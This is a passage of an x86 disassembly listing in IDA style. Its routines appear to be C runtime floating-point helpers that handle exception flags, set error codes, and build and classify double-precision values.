mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, 0FFFFFFFEh
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx+8], ecx
call sub_4295A0
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
and eax, 1
test eax, eax
jz short loc_428A92
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
or edx, 10h
mov eax, [ebp+arg_0]
mov [eax+0Ch], edx
loc_428A92: ; CODE XREF: sub_428900+181j
mov ecx, [ebp+var_8]
and ecx, 4
test ecx, ecx
jz short loc_428AAA
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
or al, 8
mov ecx, [ebp+arg_0]
mov [ecx+0Ch], eax
loc_428AAA: ; CODE XREF: sub_428900+19Aj
mov edx, [ebp+var_8]
and edx, 8
test edx, edx
jz short loc_428AC3
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
or ecx, 4
mov edx, [ebp+arg_0]
mov [edx+0Ch], ecx
loc_428AC3: ; CODE XREF: sub_428900+1B2j
mov eax, [ebp+var_8]
and eax, 10h
test eax, eax
jz short loc_428ADC
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
or edx, 2
mov eax, [ebp+arg_0]
mov [eax+0Ch], edx
loc_428ADC: ; CODE XREF: sub_428900+1CBj
mov ecx, [ebp+var_8]
and ecx, 20h
test ecx, ecx
jz short loc_428AF4
mov edx, [ebp+arg_0]
mov eax, [edx+0Ch]
or al, 1
mov ecx, [ebp+arg_0]
mov [ecx+0Ch], eax
loc_428AF4: ; CODE XREF: sub_428900+1E4j
mov edx, [ebp+arg_4]
mov eax, [edx]
and eax, 0C00h
mov [ebp+var_C], eax
cmp [ebp+var_C], 800h
ja short loc_428B24
cmp [ebp+var_C], 800h
jz short loc_428B3E
cmp [ebp+var_C], 0
jz short loc_428B62
cmp [ebp+var_C], 400h
jz short loc_428B50
jmp short loc_428B6F
; ---------------------------------------------------------------------------
loc_428B24: ; CODE XREF: sub_428900+208j
cmp [ebp+var_C], 0C00h
jz short loc_428B2F
jmp short loc_428B6F
; ---------------------------------------------------------------------------
loc_428B2F: ; CODE XREF: sub_428900+22Bj
mov ecx, [ebp+arg_0]
mov edx, [ecx]
or edx, 3
mov eax, [ebp+arg_0]
mov [eax], edx
jmp short loc_428B6F
; ---------------------------------------------------------------------------
loc_428B3E: ; CODE XREF: sub_428900+211j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 0FFFFFFFCh
or edx, 2
mov eax, [ebp+arg_0]
mov [eax], edx
jmp short loc_428B6F
; ---------------------------------------------------------------------------
loc_428B50: ; CODE XREF: sub_428900+220j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 0FFFFFFFCh
or edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
jmp short loc_428B6F
; ---------------------------------------------------------------------------
loc_428B62: ; CODE XREF: sub_428900+217j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 0FFFFFFFCh
mov eax, [ebp+arg_0]
mov [eax], edx
loc_428B6F: ; CODE XREF: sub_428900+222j
; sub_428900+22Dj ...
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and edx, 300h
mov [ebp+var_10], edx
cmp [ebp+var_10], 0
jz short loc_428BB8
cmp [ebp+var_10], 200h
jz short loc_428BA6
cmp [ebp+var_10], 300h
jz short loc_428B97
jmp short loc_428BC8
; ---------------------------------------------------------------------------
loc_428B97: ; CODE XREF: sub_428900+293j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE3h
mov edx, [ebp+arg_0]
mov [edx], ecx
jmp short loc_428BC8
; ---------------------------------------------------------------------------
loc_428BA6: ; CODE XREF: sub_428900+28Aj
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE3h
or ecx, 4
mov edx, [ebp+arg_0]
mov [edx], ecx
jmp short loc_428BC8
; ---------------------------------------------------------------------------
loc_428BB8: ; CODE XREF: sub_428900+281j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE3h
or ecx, 8
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_428BC8: ; CODE XREF: sub_428900+295j
; sub_428900+2A4j ...
mov eax, [ebp+arg_C]
and eax, 0FFFh
shl eax, 5
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 0FFFE001Fh
or edx, eax
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+20h]
or edx, 1
mov eax, [ebp+arg_0]
mov [eax+20h], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+20h]
and edx, 0FFFFFFE1h
or edx, 2
mov eax, [ebp+arg_0]
mov [eax+20h], edx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_10]
mov eax, [edx]
mov [ecx+10h], eax
mov edx, [edx+4]
mov [ecx+14h], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
or ecx, 1
mov edx, [ebp+arg_0]
mov [edx+50h], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE1h
or ecx, 2
mov edx, [ebp+arg_0]
mov [edx+50h], ecx
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_14]
mov edx, [ecx]
mov [eax+40h], edx
mov ecx, [ecx+4]
mov [eax+44h], ecx
call sub_4295C0
lea edx, [ebp+arg_0]
push edx
push 1
push 0
mov eax, [ebp+var_4]
push eax
call ds:dword_4F1498 ; RaiseException
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
shr edx, 4
and edx, 1
test edx, edx
jz short loc_428C7D
mov eax, [ebp+arg_4]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
mov edx, [ebp+arg_4]
mov [edx], ecx
loc_428C7D: ; CODE XREF: sub_428900+36Ej
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
shr ecx, 3
and ecx, 1
test ecx, ecx
jz short loc_428C99
mov edx, [ebp+arg_4]
mov eax, [edx]
and al, 0FBh
mov ecx, [ebp+arg_4]
mov [ecx], eax
loc_428C99: ; CODE XREF: sub_428900+38Bj
mov edx, [ebp+arg_0]
mov eax, [edx+8]
shr eax, 2
and eax, 1
test eax, eax
jz short loc_428CB6
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and edx, 0FFFFFFF7h
mov eax, [ebp+arg_4]
mov [eax], edx
loc_428CB6: ; CODE XREF: sub_428900+3A7j
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
shr edx, 1
and edx, 1
test edx, edx
jz short loc_428CD2
mov eax, [ebp+arg_4]
mov ecx, [eax]
and ecx, 0FFFFFFEFh
mov edx, [ebp+arg_4]
mov [edx], ecx
loc_428CD2: ; CODE XREF: sub_428900+3C3j
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, 1
test ecx, ecx
jz short loc_428CEB
mov edx, [ebp+arg_4]
mov eax, [edx]
and al, 0DFh
mov ecx, [ebp+arg_4]
mov [ecx], eax
loc_428CEB: ; CODE XREF: sub_428900+3DDj
mov edx, [ebp+arg_0]
mov eax, [edx]
and eax, 3
mov [ebp+var_14], eax
cmp [ebp+var_14], 3
ja short loc_428D49
mov ecx, [ebp+var_14]
jmp ds:off_428DB1[ecx*4]
loc_428D06: ; DATA XREF: seg000:00428DBDo
mov edx, [ebp+arg_4]
mov eax, [edx]
and ah, 0F3h
or ah, 0Ch
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_428D49
; ---------------------------------------------------------------------------
loc_428D18: ; CODE XREF: sub_428900+3FFj
; DATA XREF: seg000:00428DB9o
mov edx, [ebp+arg_4]
mov eax, [edx]
and ah, 0F3h
or ah, 8
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_428D49
; ---------------------------------------------------------------------------
loc_428D2A: ; CODE XREF: sub_428900+3FFj
; DATA XREF: seg000:00428DB5o
mov edx, [ebp+arg_4]
mov eax, [edx]
and ah, 0F3h
or ah, 4
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_428D49
; ---------------------------------------------------------------------------
loc_428D3C: ; CODE XREF: sub_428900+3FFj
; DATA XREF: seg000:off_428DB1o
mov edx, [ebp+arg_4]
mov eax, [edx]
and ah, 0F3h
mov ecx, [ebp+arg_4]
mov [ecx], eax
loc_428D49: ; CODE XREF: sub_428900+3FAj
; sub_428900+416j ...
mov edx, [ebp+arg_0]
mov eax, [edx]
shr eax, 2
and eax, 7
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jz short loc_428D6B
cmp [ebp+var_18], 1
jz short loc_428D7D
cmp [ebp+var_18], 2
jz short loc_428D8F
jmp short loc_428D9C
; ---------------------------------------------------------------------------
loc_428D6B: ; CODE XREF: sub_428900+45Bj
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and dh, 0F3h
or dh, 3
mov eax, [ebp+arg_4]
mov [eax], edx
jmp short loc_428D9C
; ---------------------------------------------------------------------------
loc_428D7D: ; CODE XREF: sub_428900+461j
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and dh, 0F3h
or dh, 2
mov eax, [ebp+arg_4]
mov [eax], edx
jmp short loc_428D9C
; ---------------------------------------------------------------------------
loc_428D8F: ; CODE XREF: sub_428900+467j
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and dh, 0F3h
mov eax, [ebp+arg_4]
mov [eax], edx
loc_428D9C: ; CODE XREF: sub_428900+469j
; sub_428900+47Bj ...
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_14]
mov eax, [ecx+40h]
mov [edx], eax
mov ecx, [ecx+44h]
mov [edx+4], ecx
mov esp, ebp
pop ebp
retn
sub_428900 endp
; ---------------------------------------------------------------------------
off_428DB1 dd offset loc_428D3C ; DATA XREF: sub_428900+3FFr
dd offset loc_428D2A
dd offset loc_428D18
dd offset loc_428D06
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428DD0 proc near ; CODE XREF: sub_428770+12p
; seg000:00428842p
var_44 = dword ptr -44h
var_40 = qword ptr -40h
var_38 = qword ptr -38h
var_30 = qword ptr -30h
var_28 = qword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = qword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 44h
mov eax, [ebp+arg_0]
and eax, 1Fh
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
and ecx, 8
test ecx, ecx
jz short loc_428E0A
mov edx, [ebp+arg_8]
and edx, 1
test edx, edx
jz short loc_428E0A
push 1
call sub_429620
add esp, 4
mov eax, [ebp+var_4]
and al, 0F7h
mov [ebp+var_4], eax
jmp loc_42910E
; ---------------------------------------------------------------------------
loc_428E0A: ; CODE XREF: sub_428DD0+17j
; sub_428DD0+21j
mov ecx, [ebp+arg_0]
and ecx, 4
test ecx, ecx
jz short loc_428E35
mov edx, [ebp+arg_8]
and edx, 4
test edx, edx
jz short loc_428E35
push 4
call sub_429620
add esp, 4
mov eax, [ebp+var_4]
and al, 0FBh
mov [ebp+var_4], eax
jmp loc_42910E
; ---------------------------------------------------------------------------
loc_428E35: ; CODE XREF: sub_428DD0+42j
; sub_428DD0+4Cj
mov ecx, [ebp+arg_0]
and ecx, 1
test ecx, ecx
jz loc_428FB1
mov edx, [ebp+arg_8]
and edx, 8
test edx, edx
jz loc_428FB1
push 8
call sub_429620
add esp, 4
mov eax, [ebp+arg_8]
and eax, 0C00h
mov [ebp+var_20], eax
cmp [ebp+var_20], 800h
ja short loc_428E90
cmp [ebp+var_20], 800h
jz short loc_428EE5
cmp [ebp+var_20], 0
jz short loc_428EA2
cmp [ebp+var_20], 400h
jz loc_428F25
jmp loc_428FA3
; ---------------------------------------------------------------------------
loc_428E90: ; CODE XREF: sub_428DD0+9Dj
cmp [ebp+var_20], 0C00h
jz loc_428F65
jmp loc_428FA3
; ---------------------------------------------------------------------------
loc_428EA2: ; CODE XREF: sub_428DD0+ACj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_43A188
fnstsw ax
test ah, 41h
jnz short loc_428EC7
mov edx, dword ptr ds:dbl_4503B8
mov dword ptr [ebp+var_28], edx
mov eax, dword ptr ds:dbl_4503B8+4
mov dword ptr [ebp+var_28+4], eax
jmp short loc_428ED2
; ---------------------------------------------------------------------------
loc_428EC7: ; CODE XREF: sub_428DD0+E2j
fld ds:dbl_4503B8
fchs
fstp [ebp+var_28]
loc_428ED2: ; CODE XREF: sub_428DD0+F5j
mov ecx, [ebp+arg_4]
mov edx, dword ptr [ebp+var_28]
mov [ecx], edx
mov eax, dword ptr [ebp+var_28+4]
mov [ecx+4], eax
jmp loc_428FA3
; ---------------------------------------------------------------------------
loc_428EE5: ; CODE XREF: sub_428DD0+A6j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_43A188
fnstsw ax
test ah, 41h
jnz short loc_428F0A
mov edx, dword ptr ds:dbl_4503B8
mov dword ptr [ebp+var_30], edx
mov eax, dword ptr ds:dbl_4503B8+4
mov dword ptr [ebp+var_30+4], eax
jmp short loc_428F15
; ---------------------------------------------------------------------------
loc_428F0A: ; CODE XREF: sub_428DD0+125j
fld ds:dbl_4503C8
fchs
fstp [ebp+var_30]
loc_428F15: ; CODE XREF: sub_428DD0+138j
mov ecx, [ebp+arg_4]
mov edx, dword ptr [ebp+var_30]
mov [ecx], edx
mov eax, dword ptr [ebp+var_30+4]
mov [ecx+4], eax
jmp short loc_428FA3
; ---------------------------------------------------------------------------
loc_428F25: ; CODE XREF: sub_428DD0+B5j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_43A188
fnstsw ax
test ah, 41h
jnz short loc_428F4A
mov edx, dword ptr ds:dbl_4503C8
mov dword ptr [ebp+var_38], edx
mov eax, dword ptr ds:dbl_4503C8+4
mov dword ptr [ebp+var_38+4], eax
jmp short loc_428F55
; ---------------------------------------------------------------------------
loc_428F4A: ; CODE XREF: sub_428DD0+165j
fld ds:dbl_4503B8
fchs
fstp [ebp+var_38]
loc_428F55: ; CODE XREF: sub_428DD0+178j
mov ecx, [ebp+arg_4]
mov edx, dword ptr [ebp+var_38]
mov [ecx], edx
mov eax, dword ptr [ebp+var_38+4]
mov [ecx+4], eax
jmp short loc_428FA3
; ---------------------------------------------------------------------------
loc_428F65: ; CODE XREF: sub_428DD0+C7j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_43A188
fnstsw ax
test ah, 41h
jnz short loc_428F8A
mov edx, dword ptr ds:dbl_4503C8
mov dword ptr [ebp+var_40], edx
mov eax, dword ptr ds:dbl_4503C8+4
mov dword ptr [ebp+var_40+4], eax
jmp short loc_428F95
; ---------------------------------------------------------------------------
loc_428F8A: ; CODE XREF: sub_428DD0+1A5j
fld ds:dbl_4503C8
fchs
fstp [ebp+var_40]
loc_428F95: ; CODE XREF: sub_428DD0+1B8j
mov ecx, [ebp+arg_4]
mov edx, dword ptr [ebp+var_40]
mov [ecx], edx
mov eax, dword ptr [ebp+var_40+4]
mov [ecx+4], eax
loc_428FA3: ; CODE XREF: sub_428DD0+BBj
; sub_428DD0+CDj ...
mov ecx, [ebp+var_4]
and ecx, 0FFFFFFFEh
mov [ebp+var_4], ecx
jmp loc_42910E
; ---------------------------------------------------------------------------
loc_428FB1: ; CODE XREF: sub_428DD0+6Dj
; sub_428DD0+7Bj
mov edx, [ebp+arg_0]
and edx, 2
test edx, edx
jz loc_42910E
mov eax, [ebp+arg_8]
and eax, 10h
test eax, eax
jz loc_42910E
mov [ebp+var_8], 0
mov ecx, [ebp+arg_0]
and ecx, 10h
test ecx, ecx
jz short loc_428FE5
mov [ebp+var_8], 1
loc_428FE5: ; CODE XREF: sub_428DD0+20Cj
mov edx, [ebp+arg_4]
fld qword ptr [edx]
fcomp ds:dbl_43A188
fnstsw ax
test ah, 40h
jnz loc_4290EE
lea eax, [ebp+var_18]
push eax ; int
mov ecx, [ebp+arg_4]
mov edx, [ecx+4]
push edx
mov eax, [ecx]
push eax ; double
call sub_429460
add esp, 0Ch
fstp [ebp+var_10]
mov ecx, [ebp+var_18]
sub ecx, 600h
mov [ebp+var_14], ecx
cmp [ebp+var_14], 0FFFFFBCEh
jge short loc_429041
fld [ebp+var_10]
fmul ds:dbl_43A188
fstp [ebp+var_10]
mov [ebp+var_8], 1
jmp loc_4290DE
; ---------------------------------------------------------------------------
loc_429041: ; CODE XREF: sub_428DD0+257j
fld [ebp+var_10]
fcomp ds:dbl_43A188
fnstsw ax
test ah, 1
jz short loc_42905A
mov [ebp+var_44], 1
jmp short loc_429061
; ---------------------------------------------------------------------------
loc_42905A: ; CODE XREF: sub_428DD0+27Fj
mov [ebp+var_44], 0
loc_429061: ; CODE XREF: sub_428DD0+288j
mov edx, [ebp+var_44]
mov [ebp+var_1C], edx
mov ax, word ptr [ebp+var_10+6]
and ax, 0Fh
mov word ptr [ebp+var_10+6], ax
mov cx, word ptr [ebp+var_10+6]
or cl, 10h
mov word ptr [ebp+var_10+6], cx
jmp short loc_429089
; ---------------------------------------------------------------------------
loc_429080: ; CODE XREF: sub_428DD0+2FEj
mov edx, [ebp+var_14]
add edx, 1
mov [ebp+var_14], edx
loc_429089: ; CODE XREF: sub_428DD0+2AEj
cmp [ebp+var_14], 0FFFFFC03h
jge short loc_4290D0
mov eax, dword ptr [ebp+var_10]
and eax, 1
test eax, eax
jz short loc_4290A9
cmp [ebp+var_8], 0
jnz short loc_4290A9
mov [ebp+var_8], 1
loc_4290A9: ; CODE XREF: sub_428DD0+2CAj
; sub_428DD0+2D0j
mov ecx, dword ptr [ebp+var_10]
shr ecx, 1
mov dword ptr [ebp+var_10], ecx
mov edx, dword ptr [ebp+var_10+4]
and edx, 1
test edx, edx
jz short loc_4290C6
mov eax, dword ptr [ebp+var_10]
or eax, 80000000h
mov dword ptr [ebp+var_10], eax
loc_4290C6: ; CODE XREF: sub_428DD0+2E9j
mov ecx, dword ptr [ebp+var_10+4]
shr ecx, 1
mov dword ptr [ebp+var_10+4], ecx
jmp short loc_429080
; ---------------------------------------------------------------------------
loc_4290D0: ; CODE XREF: sub_428DD0+2C0j
cmp [ebp+var_1C], 0
jz short loc_4290DE
fld [ebp+var_10]
fchs
fstp [ebp+var_10]
loc_4290DE: ; CODE XREF: sub_428DD0+26Cj
; sub_428DD0+304j
mov edx, [ebp+arg_4]
mov eax, dword ptr [ebp+var_10]
mov [edx], eax
mov ecx, dword ptr [ebp+var_10+4]
mov [edx+4], ecx
jmp short loc_4290F5
; ---------------------------------------------------------------------------
loc_4290EE: ; CODE XREF: sub_428DD0+225j
mov [ebp+var_8], 1
loc_4290F5: ; CODE XREF: sub_428DD0+31Cj
cmp [ebp+var_8], 0
jz short loc_429105
push 10h
call sub_429620
add esp, 4
loc_429105: ; CODE XREF: sub_428DD0+329j
mov edx, [ebp+var_4]
and edx, 0FFFFFFFDh
mov [ebp+var_4], edx
loc_42910E: ; CODE XREF: sub_428DD0+35j
; sub_428DD0+60j ...
mov eax, [ebp+arg_0]
and eax, 10h
test eax, eax
jz short loc_429135
mov ecx, [ebp+arg_8]
and ecx, 20h
test ecx, ecx
jz short loc_429135
push 20h
call sub_429620
add esp, 4
mov edx, [ebp+var_4]
and edx, 0FFFFFFEFh
mov [ebp+var_4], edx
loc_429135: ; CODE XREF: sub_428DD0+346j
; sub_428DD0+350j
xor eax, eax
cmp [ebp+var_4], 0
setz al
mov esp, ebp
pop ebp
retn
sub_428DD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_429150(int, int, int, int, int, int, double, int)
sub_429150 proc near ; CODE XREF: sub_4286A0+2Ap
; seg000:0042873Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_4]
push eax
call sub_429230
add esp, 4
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jz short loc_4291C7
mov ecx, [ebp+arg_0]
mov [ebp+var_20], ecx
mov edx, [ebp+arg_8]
mov [ebp+var_18], edx
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov ecx, [ebp+arg_10]
mov [ebp+var_10], ecx
mov edx, [ebp+arg_14]
mov [ebp+var_C], edx
mov eax, dword ptr [ebp+arg_18]
mov dword ptr [ebp+var_8], eax
mov ecx, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], ecx
push 0FFFFh
mov edx, [ebp+arg_20]
push edx
call sub_4295E0
add esp, 8
lea eax, [ebp+var_20]
push eax
call sub_42F6C0
add esp, 4
test eax, eax
jnz short loc_4291C2
mov ecx, [ebp+arg_0]
push ecx
call sub_4291F0
add esp, 4
loc_4291C2: ; CODE XREF: sub_429150+64j
fld [ebp+var_8]
jmp short loc_4291E7
; ---------------------------------------------------------------------------
loc_4291C7: ; CODE XREF: sub_429150+19j
push 0FFFFh
mov edx, [ebp+arg_20]
push edx
call sub_4295E0
add esp, 8
mov eax, [ebp+arg_0]
push eax
call sub_4291F0
add esp, 4
fld [ebp+arg_18]
loc_4291E7: ; CODE XREF: sub_429150+75j
mov esp, ebp
pop ebp
retn
sub_429150 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4291F0 proc near ; CODE XREF: sub_428770+92p
; seg000:004288DEp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
cmp [ebp+var_4], 1
jz short loc_42920E
cmp [ebp+var_4], 1
jle short loc_429226
cmp [ebp+var_4], 3
jle short loc_42921B
jmp short loc_429226
; ---------------------------------------------------------------------------
loc_42920E: ; CODE XREF: sub_4291F0+Ej
call sub_4267E0
mov dword ptr [eax], 21h
jmp short loc_429226
; ---------------------------------------------------------------------------
loc_42921B: ; CODE XREF: sub_4291F0+1Aj
call sub_4267E0
mov dword ptr [eax], 22h
loc_429226: ; CODE XREF: sub_4291F0+14j
; sub_4291F0+1Cj ...
mov esp, ebp
pop ebp
retn
sub_4291F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429230 proc near ; CODE XREF: sub_429150+Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_429246
; ---------------------------------------------------------------------------
loc_42923D: ; CODE XREF: sub_429230:loc_429267j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_429246: ; CODE XREF: sub_429230+Bj
cmp [ebp+var_4], 1Bh
jge short loc_429269
mov ecx, [ebp+var_4]
mov edx, ds:dword_4502E0[ecx*8]
cmp edx, [ebp+arg_0]
jnz short loc_429267
mov eax, [ebp+var_4]
mov eax, ds:off_4502E4[eax*8]
jmp short loc_42926B
; ---------------------------------------------------------------------------
loc_429267: ; CODE XREF: sub_429230+29j
jmp short loc_42923D
; ---------------------------------------------------------------------------
loc_429269: ; CODE XREF: sub_429230+1Aj
xor eax, eax
loc_42926B: ; CODE XREF: sub_429230+35j
mov esp, ebp
pop ebp
retn
sub_429230 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429270 proc near ; CODE XREF: sub_428770+4Ap
; seg000:00428892p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
and eax, 20h
test eax, eax
jz short loc_429287
mov [ebp+var_4], 5
jmp short loc_4292DA
; ---------------------------------------------------------------------------
loc_429287: ; CODE XREF: sub_429270+Cj
mov ecx, [ebp+arg_0]
and ecx, 8
test ecx, ecx
jz short loc_42929A
mov [ebp+var_4], 1
jmp short loc_4292DA
; ---------------------------------------------------------------------------
loc_42929A: ; CODE XREF: sub_429270+1Fj
mov edx, [ebp+arg_0]
and edx, 4
test edx, edx
jz short loc_4292AD
mov [ebp+var_4], 2
jmp short loc_4292DA
; ---------------------------------------------------------------------------
loc_4292AD: ; CODE XREF: sub_429270+32j
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_4292C0
mov [ebp+var_4], 3
jmp short loc_4292DA
; ---------------------------------------------------------------------------
loc_4292C0: ; CODE XREF: sub_429270+45j
mov ecx, [ebp+arg_0]
and ecx, 2
test ecx, ecx
jz short loc_4292D3
mov [ebp+var_4], 4
jmp short loc_4292DA
; ---------------------------------------------------------------------------
loc_4292D3: ; CODE XREF: sub_429270+58j
mov [ebp+var_4], 0
loc_4292DA: ; CODE XREF: sub_429270+15j
; sub_429270+28j ...
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_429270 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4292F0 proc near ; CODE XREF: seg000:00429389p
; sub_429460+ECp ...
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
mov dword ptr [ebp+var_C], eax
mov ecx, [ebp+arg_4]
mov dword ptr [ebp+var_C+4], ecx
mov edx, [ebp+arg_8]
add edx, 3FEh
mov [ebp+var_4], edx
mov eax, [ebp+arg_4+2]
and eax, 0FFFFh
and eax, 800Fh
mov ecx, [ebp+var_4]
shl ecx, 4
or eax, ecx
mov word ptr [ebp+var_C+6], ax
fld [ebp+var_C]
mov esp, ebp
pop ebp
retn
sub_4292F0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+0Eh]
and eax, 0FFFFh
and eax, 7FF0h
sar eax, 4
mov [ebp-4], ax
mov cx, [ebp-4]
sub cx, 3FEh
mov [ebp-4], cx
movsx eax, word ptr [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+0Eh]
and eax, 0FFFFh
and eax, 7FF0h
sar eax, 4
movsx ecx, ax
mov edx, [ebp+10h]
lea eax, [ecx+edx-3FEh]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call sub_4292F0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+8]
mov [ebp-8], eax
mov ecx, [ebp+0Ch]
mov [ebp-4], ecx
mov edx, [ebp+0Eh]
and edx, 0FFFFh
and edx, 800Fh
mov eax, [ebp+10h]
shl eax, 4
or edx, eax
mov [ebp-2], dx
fld qword ptr [ebp-8]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4293E0 proc near ; CODE XREF: sub_41F150+3Fp
; sub_41F370+3Fp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_4], 7FF00000h
jnz short loc_4293F9
cmp [ebp+arg_0], 0
jnz short loc_4293F9
mov eax, 1
jmp short loc_42945A
; ---------------------------------------------------------------------------
loc_4293F9: ; CODE XREF: sub_4293E0+Aj
; sub_4293E0+10j
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_42940F
cmp [ebp+arg_0], 0
jnz short loc_42940F
mov eax, 2
jmp short loc_42945A
; ---------------------------------------------------------------------------
loc_42940F: ; CODE XREF: sub_4293E0+20j
; sub_4293E0+26j
mov eax, [ebp+arg_4+2]
and eax, 0FFFFh
and eax, 7FF8h
cmp eax, 7FF8h
jnz short loc_42942A
mov eax, 3
jmp short loc_42945A
; ---------------------------------------------------------------------------
loc_42942A: ; CODE XREF: sub_4293E0+41j
mov ecx, [ebp+arg_4+2]
and ecx, 0FFFFh
and ecx, 7FF8h
cmp ecx, 7FF0h
jnz short loc_429458
mov edx, [ebp+arg_4]
shl edx, 0Dh
test edx, edx
jnz short loc_429451
cmp [ebp+arg_0], 0
jz short loc_429458
loc_429451: ; CODE XREF: sub_4293E0+69j
mov eax, 4
jmp short loc_42945A
; ---------------------------------------------------------------------------
loc_429458: ; CODE XREF: sub_4293E0+5Fj
; sub_4293E0+6Fj
xor eax, eax
loc_42945A: ; CODE XREF: sub_4293E0+17j
; sub_4293E0+2Dj ...
pop ebp
retn
sub_4293E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_429460(double, int)
sub_429460 proc near ; CODE XREF: sub_428DD0+239p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
fld [ebp+arg_0]
fcomp ds:dbl_43A188
fnstsw ax
test ah, 40h
jz short loc_429490
mov dword ptr [ebp+var_C], 0
mov dword ptr [ebp+var_C+4], 0
